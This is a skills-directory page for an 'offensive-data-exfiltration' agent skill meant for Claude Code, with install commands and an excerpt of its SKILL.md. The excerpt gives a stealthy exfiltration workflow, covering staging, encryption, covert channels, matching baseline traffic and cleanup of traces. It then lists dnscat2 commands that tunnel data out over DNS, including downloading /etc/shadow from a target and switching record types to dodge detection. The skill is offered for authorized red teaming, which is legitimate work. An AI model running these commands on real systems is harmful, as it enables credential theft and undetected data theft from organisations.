Tooluck logoTooluck
SKILL.md

offensive-data-exfiltration

Agent skill fromSnailSploit/Claude-Red

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engageme

How to install offensive-data-exfiltration

install offensive-data-exfiltration
# install the Claude-Red pack with the skills CLI
npx skills add SnailSploit/Claude-Red

# or add only this skill to Claude Code: copy the folder

Skills/post-exploitation/offensive-data-exfiltration/

# into

~/.claude/skills/offensive-data-exfiltration/ (all projects)

.claude/skills/offensive-data-exfiltration/ (one project)

Skills/post-exploitation/offensive-data-exfiltration/SKILL.md

MITFull file
1# Data Exfiltration -- Offensive Methodology
2
3## Quick Workflow
4
51. **Inventory target data.** Map files, databases, credentials. Assess volume and classification.
62. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
73. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
84. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
95. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
106. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
117. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest.
128. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks.
13
14---
15
16## DNS Exfiltration
17
18MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
19
20### dnscat2
21
22```bash
23# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
24ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
25
26# Client on target
27./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
28
29# Server console -- file transfer
30session -i 1
31download /etc/shadow /tmp/loot/shadow
32```
33
34```bash
35# Force CNAME queries to avoid TXT-based detection
36./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
37```
38
39### iodine Tunneling
40
41```bash
42# Server (authoritative NS)
43…

Excerpt shown under the repository's MIT license.

More skills in Claude-Red

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates